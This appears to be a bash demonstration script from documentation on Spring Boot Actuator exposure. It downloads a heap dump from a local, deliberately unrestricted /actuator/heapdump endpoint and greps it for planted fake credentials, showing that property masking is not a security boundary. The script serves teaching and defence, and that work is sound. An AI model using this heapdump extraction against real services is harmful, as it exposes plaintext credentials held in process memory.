#!/usr/bin/env bash
# The endpoint that really does hand over your secrets - once you turn it on.
set -uo pipefail
cd "$(dirname "$0")/.."
OUT=docs/output/04-heapdump-leak.txt
B=http://localhost:8080/actuator
{
  echo "### profiles: exposeall,open   PLUS --management.endpoint.heapdump.access=unrestricted"
  echo
  echo "\$ curl -s -o /tmp/heap.hprof -w 'status=%{http_code} bytes=%{size_download} type=%{content_type}' $B/heapdump"
  curl -s -o /tmp/heap.hprof -w 'status=%{http_code} bytes=%{size_download} type=%{content_type}\n' "$B/heapdump"
  echo
  echo "\$ strings /tmp/heap.hprof | grep -c 'S3CRET-partner-credential'"
  strings /tmp/heap.hprof 2>/dev/null | grep -c 'S3CRET-partner-credential'
  echo "\$ strings /tmp/heap.hprof | grep -o 'not-a-real-password[^\"]*' | head -1"
  strings /tmp/heap.hprof 2>/dev/null | grep -o 'not-a-real-password[^\"]*' | head -1
  echo
  echo "  /actuator/env masked both of these to ******."
  echo "  /actuator/heapdump handed over the process memory that contains them in plaintext."
  echo "  Sanitisation is a property-rendering feature. It is not a security boundary."
  rm -f /tmp/heap.hprof
} > "$OUT" 2>&1
echo "wrote $OUT"